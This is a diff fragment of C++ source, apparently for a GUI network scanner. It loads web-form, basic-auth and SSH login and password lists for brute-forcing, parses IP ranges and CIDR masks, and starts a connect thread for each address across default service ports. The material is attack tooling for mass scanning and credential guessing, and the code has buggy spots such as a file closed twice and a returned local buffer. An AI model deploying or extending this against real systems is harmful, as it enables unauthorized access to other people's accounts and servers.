+ wfPassList = fopen("wfpass.txt", "r"); + + if(wfPassList != NULL && wfLoginList != NULL) + { + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + MaxWFLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + while(fgets(buffFG, 32, wfPassList) != NULL) + { + MaxWFPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfLoginList); + rewind(wfPassList); + + wfLoginLst = new char*[MaxWFLogin]; + wfPassLst = new char*[MaxWFPass]; + + for(int j = 0; j < MaxWFLogin; j++) + { + wfLoginLst[j] = new char[32]; + }; + + for(int j = 0; j < MaxWFPass; j++) + { + wfPassLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, wfPassList) != NULL) + { + memset(wfPassLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string((long double)MaxWFPass).c_str()) + " entries)"); + #pragma endregion + + i = 0; + + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + memset(wfLoginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string((long double)MaxWFLogin).c_str()) + " entries)"); + #pragma endregion + + fclose(wfLoginList); + fclose(wfLoginList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; + +#pragma region SSHPASS + MaxSSHPass = 0; + + FILE *sshlpList; + + ZeroMemory(buffFG, sizeof(buffFG)); + i = 0; + + sshlpList = fopen("sshpass.txt", "r"); + + if(sshlpList != NULL) + { + while(fgets(buffFG, 32, sshlpList) != NULL) + { + ++MaxSSHPass; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(sshlpList); + + sshlpLst = new char*[MaxSSHPass]; + + for(int j = 0; j < MaxSSHPass; j++) + { + sshlpLst[j] = new char[32]; + }; + + while(fgets(buffFG, 32, sshlpList) != NULL) + { + memset(sshlpLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string((long double)MaxSSHPass).c_str()) + " entries)"); + #pragma endregion + + fclose(sshlpList); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +#pragma endregion + + #pragma region QTGUI_Area + stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string((long double)MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string((long double)MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string((long double)MaxSSHPass/gTimeOut/60).c_str())); + #pragma endregion +}; +void ReadUTF8(FILE* nFile, char *cp) +{ + char buffFG[256] = {0}; + int i = 0; + GlobalNegativeSize = 0; + + if(nFile != NULL) + { + while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && + ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) + && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) + { + ++GlobalNegativeSize; + }; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(nFile); + if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); + + GlobalNegatives = new char*[GlobalNegativeSize + 2]; + + char buffcpy[256] = {0}; + while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) + { + if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || + (buffFG[0] == '/' && buffFG[1] == '/')) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + + if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') + { + char buffFGT[256] = {0}; + strcpy(buffFGT, buffFG); + char *ptr1 = strstr(buffFGT, "\t\t\t"); + ZeroMemory(buffFG, sizeof(buffFG)); + strcpy(buffFG, ptr1 + 3); + }; + + int bSz = strlen(buffFG); + if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) + { + ZeroMemory(buffFG, sizeof(buffFG)); + continue; + }; + if(buffFG[bSz] == 13 || buffFG[bSz] == 10) + { + buffFG[bSz] = '\0'; + }; + if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) + { + buffFG[bSz - 1] = '\0'; + }; + if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) + { + buffFG[bSz - 2] = '\0'; + }; + + if(strstr((char*)buffFG, "\n") != 0) + { + std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); + memset(GlobalNegatives[i] + sz - 1, '\0', 1); + ++i; + } + else + { + std::string res = xcode(buffFG, CP_UTF8, CP_ACP); + int sz = res.size(); + GlobalNegatives[i] = new char[sz + 1]; + ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); + memset(GlobalNegatives[i] + sz, '\0', 1); + ++i; + }; + + unsigned char buffcpy2[256] = {0}; + int sz = strlen((char*)buffFG); +#ifdef WIN32 + strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); +#else + strncpy((char*)buffcpy2, buffFG, sz); +#endif + + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + #pragma region QTGUI_Area + stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); + #pragma endregion + ZeroMemory(buffFG, sizeof(buffFG)); + + fclose(nFile); + } + else + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("No negative list found"); + stt->doEmitionKillSttThread(); + #pragma endregion + }; +} +#ifdef WIN32 +string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) +{ + string res; + int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); + LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; + MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); + int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); + char * buf = (char *)new char[size]; + WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); + delete [] wbuf; + res.append(buf); + delete [] buf; + return res; +} +#endif +void _NegativeFapper() +{ + FILE *nFile = fopen("negatives.txt", "rb"); + char buffFG[256] = {0}; + unsigned char buffcpy[256] = {0}; + + if( nFile != NULL) + { + unsigned char b[3] = {0}; + fread(b,1,2, nFile); + if( b[0] == 0xEF && b[1] == 0xBB) + { + fread(b,1,1,nFile); // 0xBF + ReadUTF8(nFile, "UTF"); + } + else + { + ReadUTF8(nFile, "1251"); + }; + } +}; +void CheckMaskBits(char *res, int index) +{ + char *bitsStr = strstr(res, "/"); + int bitsNum = atoi(bitsStr + 1); + int finalBit = 1; + int bitCounter = 0; + + if(bitsNum <= 32 && bitsNum > 24) //4 octet + { + bitCounter = 32 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; + ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = octet[3] + finalBit - 1; + + } + else if(bitsNum <= 24 && bitsNum > 16) //3 octet + { + bitCounter = 24 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = octet[2] + finalBit - 1; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + } + else if(bitsNum <= 16 && bitsNum > 8) //2 octet + { + bitCounter = 16 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; + ipsstartfl[index][1] = octet[1]; + ipsendfl[index][1] = octet[1] + finalBit - 1; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = 255; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + + } + else if(bitsNum <= 8 && bitsNum > 0) //1 octet + { + bitCounter = 8 - bitsNum; + for(int i = 0; i < bitCounter; i++) finalBit *= 2; + ipsstartfl[index][0] = octet[0]; + ipsendfl[index][0] = octet[0] + finalBit - 1; + ipsstartfl[index][1] = octet[1]; + ipsendfl[index][1] = 255; + ipsstartfl[index][2] = octet[2]; + ipsendfl[index][2] = 255; + ipsstartfl[index][3] = octet[3]; + ipsendfl[index][3] = 255; + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); + stt->doEmitionKillSttThread(); +#pragma endregion + }; +}; +void GetOctets(char *curIP) +{ + char *str1; + char *str2; + char temp[8] = {0}; + + if(strstr(curIP, ".") != NULL) + { + str1 = strstr(curIP, "."); //1 + strncpy(temp, curIP, str1 - curIP); + octet[0] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str1 = strstr(curIP, "/"); + strncpy(temp, curIP, str1 - curIP); + + octet[0] = atoi(temp); + octet[1] = 0; + octet[2] = 0; + octet[3] = 0; + return; + }; + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 + strncpy(temp, str1 + 1, str2 - str1); + octet[1] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str2 = strstr(str1 + 1, "/"); + strncpy(temp, str1 + 1, str2 - str1); + + octet[1] = atoi(temp); + octet[2] = 0; + octet[3] = 0; + return; + }; + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 + strncpy(temp, str2 + 1, str1 - str2); + octet[2] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str1 = strstr(str2 + 1, "/"); + strncpy(temp, str2 + 1, str1 - str2); + + octet[2] = atoi(temp); + octet[3] = 0; + return; + }; + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 + strncpy(temp, str1 + 1, str2 - str1); + octet[3] = atoi(temp); + + ZeroMemory(temp, sizeof(temp)); + } + else + { + str2 = strstr(str1 + 1, "/"); + strncpy(temp, str1 + 1, str2 - str1 - 1); + + octet[3] = atoi(temp); + return; + }; +}; +int fInit(int InitMode, char *gR) +{ + strcpy(metaRange, gR); + if (InitMode == 0) + { + if(strstr(gR, "/") != NULL) + { + ++flCounter; + + char *str1; + char *str2; + char res[8] = {0}; + + GetOctets(gR); + + if(strstr(gR, ".") != NULL) + { + str1 = strstr(gR, "."); //1 byte + strncpy(res, gR, (int)((char*)str1 - gR)); + } + else strcpy(res, gR); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][0] = atoi(res); + ipsstartfl[flCounter][0] = atoi(res); + ipsendfl[flCounter][0] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][1] = atoi(res); + ipsstartfl[flCounter][1] = atoi(res); + ipsendfl[flCounter][1] = atoi(res); + }; + + ZeroMemory(res, sizeof(res)); + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 byte + strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); + } + else strcpy(res, str2 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][2] = atoi(res); + ipsstartfl[flCounter][2] = atoi(res); + ipsendfl[flCounter][2] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][3] = atoi(res); + ipsstartfl[flCounter][3] = atoi(res); + ipsendfl[flCounter][3] = atoi(res); + }; + + ipsstart[0] = ipsstartfl[flCounter][0]; + ipsstart[1] = ipsstartfl[flCounter][1]; + ipsstart[2] = ipsstartfl[flCounter][2]; + ipsstart[3] = ipsstartfl[flCounter][3]; + + ipsend[0] = ipsendfl[flCounter][0]; + ipsend[1] = ipsendfl[flCounter][1]; + ipsend[2] = ipsendfl[flCounter][2]; + ipsend[3] = ipsendfl[flCounter][3]; + + } + else + { + int x; + memcpy(res, "\0", sizeof(res)); + + for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x*sizeof(int)); + memset(gR, ' ', x + 1); + ipsstart[i] = atoi(des1); + ZeroMemory(des1, sizeof(des1)); + if(ipsstart[i] > 255) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); +#pragma endregion + return -1; + }; + }; + + x = strcspn(gR, "-"); + if(strstr(gR, "-") == NULL) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); +#pragma endregion + return -1; + }; + + memcpy(des1, gR, x); + ipsstart[3] = atoi(des1); + memset(gR, ' ', x + 1); + + if(strstr(gR, ".") == NULL) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); +#pragma endregion + return -1; + }; + + for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. + { + x = strcspn(gR, "."); + memcpy(des1, gR, x); + memset(gR, ' ', x + 1); + ipsend[i] = atoi(des1); + + if(ipsend[i] > 255) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); +#pragma endregion + return -1; + }; + }; + + }; + if((ipsstart[0] > ipsend[0]) + || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) + ) || + ( + (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) + ) + ) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] Incorrect range."); + stt->doEmitionKillSttThread(); +#pragma endregion + return -1; + }; + + targets = numOfIps(ipsstart, ipsend); + } + else if (InitMode == -1) + { + targets = numOfIpsFL(); + }; +}; +void FileLoader(char *str) +{ + char res[64] = {0}; + char curIP[64] = {0}, curIPCopy[64] = {0}; + char tempBuff[4] = {0}; + + FILE *fl = fopen(str, "r"); + if(fl != NULL) + { + while(fgets(curIP, 64, fl) != NULL) + { + strcpy(curIPCopy, curIP); + char *ptr1 = strstr(curIP, " "); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; + ptr1 = strstr(curIP, " "); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; + ptr1 = strstr(curIP, "#"); + if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; + if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') + { + ZeroMemory(curIPCopy, sizeof(curIPCopy)); + ZeroMemory(curIP, sizeof(curIP)); + continue; + }; + + + if(strstr(curIP, "-") != NULL) + { + bool firstPart = true; + int offset = 0; + int curNIndex = 0; + char curS; + char curN[32] = {0}; + for(int i = 0; i < strlen(curIP); ++i) + { + curS = curIP[i]; + if(curS == '.') + { + if(firstPart) + { + starterIP[flCounter][offset] = atoi(curN); + ipsstartfl[flCounter][offset] = atoi(curN); + } + else ipsendfl[flCounter][offset] = atoi(curN); + ++offset; + curNIndex = 0; + ZeroMemory(curN, 32); + continue; + }; + if(curS == '-') + { + if(firstPart) + { + starterIP[flCounter][offset] = atoi(curN); + ipsstartfl[flCounter][offset] = atoi(curN); + } + else ipsendfl[flCounter][offset] = atoi(curN); + offset = 0; + firstPart = false; + curNIndex = 0; + ZeroMemory(curN, 32); + continue; + }; + curN[curNIndex++] = curS; + if(i == strlen(curIP) - 1) + { + ipsendfl[flCounter][offset] = atoi(curN); + }; + }; + + if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] + || ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] + || ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] + || ipsstartfl[flCounter][3] > ipsendfl[flCounter][3]) + { + char tempMsg[64] = {0}; + strcpy(tempMsg, "[IP Loader]Error in IP list. Line-> ["); + strcat(tempMsg, std::to_string((long double)flCounter).c_str()); + strcat(tempMsg, "] String-> ["); + strcat(tempMsg, curIPCopy); + strcat(tempMsg, "]"); + #pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(tempMsg)); + #pragma endregion + }; + ++flCounter; + } + else if(strstr(curIP, "/") != NULL) + { + char *str1; + char *str2; + char res[8] = {0}; + + GetOctets(curIP); + + if(strstr(curIP, ".") != NULL) + { + str1 = strstr(curIP, "."); //1 byte + strncpy(res, curIP, (int)((char*)str1 - curIP)); + } + else strcpy(res, curIP); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + continue; + } + else + { + starterIP[flCounter][0] = atoi(res); + ipsstartfl[flCounter][0] = atoi(res); + ipsendfl[flCounter][0] = atoi(res); + }; + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //2 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + continue; + } + else + { + starterIP[flCounter][1] = atoi(res); + ipsstartfl[flCounter][1] = atoi(res); + ipsendfl[flCounter][1] = atoi(res); + }; + + ZeroMemory(res, sizeof(res)); + + if(strstr(str2 + 1, ".") != NULL) + { + str1 = strstr(str2 + 1, "."); //3 byte + strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); + } + else strcpy(res, str2 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + continue; + } + else + { + starterIP[flCounter][2] = atoi(res); + ipsstartfl[flCounter][2] = atoi(res); + ipsendfl[flCounter][2] = atoi(res); + }; + + ZeroMemory(res, sizeof(res)); + + if(strstr(str1 + 1, ".") != NULL) + { + str2 = strstr(str1 + 1, "."); //4 byte + strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); + } + else strcpy(res, str1 + 1); + + if(strstr(res, "/") != NULL) + { + CheckMaskBits(res, flCounter); + } + else + { + starterIP[flCounter][3] = atoi(res); + ipsstartfl[flCounter][3] = atoi(res); + ipsendfl[flCounter][3] = atoi(res); + }; + //===================================== + ++flCounter; + } + else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) + { + + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[IP Loader] Wrong list format. String: " + QString(curIP)); +#pragma endregion + }; + }; + + stt->doEmitionYellowFoundData("Finished. Stopping threads..."); + fclose(fl); + } + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); +#pragma endregion + }; +}; +char *GetCIDRRangeStr(char *str) +{ + char result[128] = {0}; + char start[32] = {0}; + char end[32] = {0}; + char buff[16] = {0}; + GetOctets(str); + CheckMaskBits(str, flCounter); + + strncpy(start, str, strstr(str, "/") - str); + strcpy(end, itoa(ipsendfl[0][0], buff, 10)); + strcat(end, "."); + strcat(end, itoa(ipsendfl[0][1], buff, 10)); + strcat(end, "."); + strcat(end, itoa(ipsendfl[0][2], buff, 10)); + strcat(end, "."); + strcat(end, itoa(ipsendfl[0][3], buff, 10)); + + strcpy(result, start); + strcat(result, "-"); + strcat(result, end); + + return result; +}; +int ParseArgs(int argc, char *argv[]) +{ + int s = 0; + int indexPorts = 0; + + if(strstr(argv[1], "-f") != NULL) + { + gThreads = atoi(argv[3]); + threads = gThreads; + + FileLoader(argv[2]); + gMode = -1; + } + else + { + gMode = atoi(argv[1]); + + if(gMode == 0) //Mode 0 (IP scan) + { + gThreads = atoi(argv[3]); + } + else if(gMode == 1) //Mode 1 (DNS scan) + { + strcpy(gFirstDom, argv[3]); + gThreads = atoi(argv[4]); + }; + + threads = gThreads; + }; + + if(gMode == 0) + { + if(strstr(argv[2], "-") != NULL) + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, argv[2]); + strcpy(endIP2, argv[2]); + } + else + { + if(strstr(argv[2], "/") != NULL) + { + strcpy(gRange, GetCIDRRangeStr(argv[2])); + } + else + { + strcpy(gRange, argv[2]); + strcat(gRange, "-"); + strcat(gRange, argv[2]); + }; + strcpy(saveEndIP, gRange); + strcpy(endIP2, gRange); + }; + } + else if(gMode == 1) + { + if(strstr(argv[2], "/") != NULL) + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, argv[2]); + strcpy(endIP2, argv[2]); + } + else + { + strcpy(gRange, argv[2]); + strcpy(saveEndIP, gRange); + strcpy(endIP2, gRange); + }; + + }; + + for(int i = 1; i <= argc - 1; i++) + { + s += strlen(argv[i]) + 2; + }; + + char *argString = new char [s + 1]; + ZeroMemory(argString, sizeof(argString)); + + for(int i = 1; i <= argc - 1; i++) + { + strcat(argString, argv[i]); + if(i != argc - 1) strcat(argString, "::"); + }; + + if(strstr(argString, "-p") != NULL) + { + char *portString = strstr(argString, "-p"); + char p[4096] = {0}; + if(strstr(portString, "::") != NULL) + { + strncpy(gPorts, portString, (int)(strstr(portString, "::") - portString)); + strncpy(p, strstr(argString, "-p") + 2, (int)(strstr(portString, "::") - portString)); + } + else + { + strcpy(gPorts, portString); + strcpy(p, strstr(argString, "-p") + 2); + }; + char *lex; + + if(strstr(p, ",") != NULL) + { + lex = strtok(p, ","); + portArr[indexPorts++] = atoi(lex); + + while ((lex = strtok(NULL, ",")) != NULL) + { + portArr[indexPorts++] = atoi(lex); + overallPorts++; + }; + } + else if(strstr(p, "-") != NULL) + { + char *startp; + char *endp; + char buffForPorts[16] = {0}; + lex = strtok(p, "-p"); + startp = lex; + lex = strtok(NULL, "-"); + endp = lex; + + for(int i = atoi(startp); i <= atoi(endp); i++ ) + { + portArr[indexPorts++] = i; + overallPorts++; + }; + + ZeroMemory(buffForPorts, sizeof(buffForPorts)); + } + else + { + lex = strtok(p, "-p"); + portArr[indexPorts++] = atoi(lex); + }; + } + else + { + portArr[0] = 80; + portArr[1] = 81; + portArr[2] = 88; + portArr[3] = 8080; + portArr[4] = 8081; + portArr[5] = 60002; + portArr[6] = 8008; + portArr[7] = 8888; + portArr[8] = 441; + portArr[9] = 4111; + portArr[10] = 6667; + portArr[11] = 3536; + portArr[12] = 22; + portArr[13] = 21; + + overallPorts = 13; + + strcpy(gPorts, "--DEFAULT"); + }; + + ZeroMemory(argString, sizeof(argString)); + + delete[] argString; + +return 0; +}; + +int startScan(char* args) +{ + dnsVecBU = ""; + flCounter = 0; + PieAnomC1 = 0, PieWF = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieSSH = 0; + AnomC1 = 0, BA = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, Activity = 0, saved = 0, Susp = 0, WF = 0, offlines = 0; + BrutingThrds = 0; + found = 0; + gTargets = 0; + targets = 0; + cons = 0; + overallPorts = 0; + found = 0; + indexIP = 0; + ZeroMemory(starterIP, sizeof(starterIP)); + ZeroMemory(ipsstartfl, sizeof(ipsstartfl)); + ZeroMemory(ipsendfl, sizeof(ipsendfl)); + ZeroMemory(ipsstartfl, sizeof(ipsstartfl)); + ZeroMemory(octet, sizeof(octet)); + ZeroMemory(ipsstart, sizeof(ipsstart)); + ZeroMemory(ipsend, sizeof(ipsend)); + + int argc = 0; + char *argv[512] = {0}; + char *tStr = strtok(args, "|"); + +#if defined(WIN32) + CreateDirectory(L"./result_files", NULL); +#else + struct stat st = {0}; + if (stat("./result_files", &st) == -1) { + mkdir("./result_files", 0700); + } +#endif + + while(tStr != NULL) + { + argv[argc++] = tStr; + tStr = strtok(NULL, "|"); + }; + + ParseArgs(argc, argv); + + mode = gMode; + + int resInit = fInit(gMode, gRange); + if(resInit == -1 ) + { + #pragma region QTGUI_Area + stt->doEmitionRedFoundData("[Error] fInit failure"); + stt->doEmitionKillSttThread(); + #pragma endregion + return -1; + }; + +stt->doEmitionIPRANGE(QString(saveEndIP)); +stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); + + _passLoginFapper(); + _NegativeFapper(); + + if(gMode == 0) + { +#if defined(WIN32) + _beginthread( (void(*)(void*))_saver, 0, NULL ); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif +#if defined(WIN32) + if(trackerOK) _beginthread( (void(*)(void*))_tracker, 0, NULL ); + Sleep(50); + _beginthread( (void(*)(void*))_timer, 0, NULL ); +#else + pthread_t thrt; + pthread_t thrtt; + if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); + pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); +#endif + int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; + stt->doEmitionChangeStatus("Scanning..."); + sockstruct *st = NULL; + while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0 ) && globalScanFlag) + { + if(globalScanFlag == false) break; + while(ipsstart[0] < 256 && eor0 == 0) + { + if(globalScanFlag == false) break; + if(ipsstart[0] == ipsend[0]) eor0 = 1; + while(ipsstart[1] < 256 && eor1 == 0) + { + if(globalScanFlag == false) break; + if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1; + while(ipsstart[2] < 256 && eor2 == 0) + { + if(globalScanFlag == false) break; + if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1; + while(ipsstart[3] < 256 && eor3 == 0) + { + st = new sockstruct(); + ZeroMemory(st->argv, sizeof(st->argv)); + ZeroMemory(res, sizeof(res)); + while(cons >= gThreads) Sleep(300); + if(ipsstart[3] == ipsend[3] && eor2 == 1) eor3 = 1; + ++indexIP; + + strcat(res, std::to_string((long double)ipsstart[0]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstart[1]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstart[2]).c_str()); + strcat(res, "."); + strcat(res, std::to_string((long double)ipsstart[3]).c_str()); + + strcpy(st->argv, res); + strcpy(saveStartIP, res); + + targetAndIPWriter(gTargets--, st->argv); + + ConInc(); +#if defined(WIN32) + if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); +#else + if(globalScanFlag) + { + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); + }; +#endif + Sleep(10); + ++ipsstart[3]; + }; + ipsstart[3] = 0; + ++ipsstart[2]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ++ipsstart[1]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ipsstart[1] = 0; + ++ipsstart[0]; + }; + ipsstart[3] = 0; + ipsstart[2] = 0; + ipsstart[1] = 0; + }; + } + else if(gMode == 1 ) + { +#if defined(WIN32) + _beginthread( (void(*)(void*))_saver, 0, NULL ); +#else + pthread_t thrs; + pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); +#endif + char iipFinish[64] = {0}; + + strcpy(top_level_domain, gFirstDom); + + if(trackerOK) + { +#if defined(WIN32) + if(trackerOK) _beginthread( (void(*)(void*))_tracker, 0, NULL ); +#else + pthread_t thrt; + if(trackerOK) pthread_create(&thrt, NULL, (void *(*)(void*))&_tracker, NULL); +#endif + }; + + Sleep(40); +#if defined(WIN32) + _beginthread( (void(*)(void*))_timer, 0, NULL ); +#else + pthread_t thrtt; + 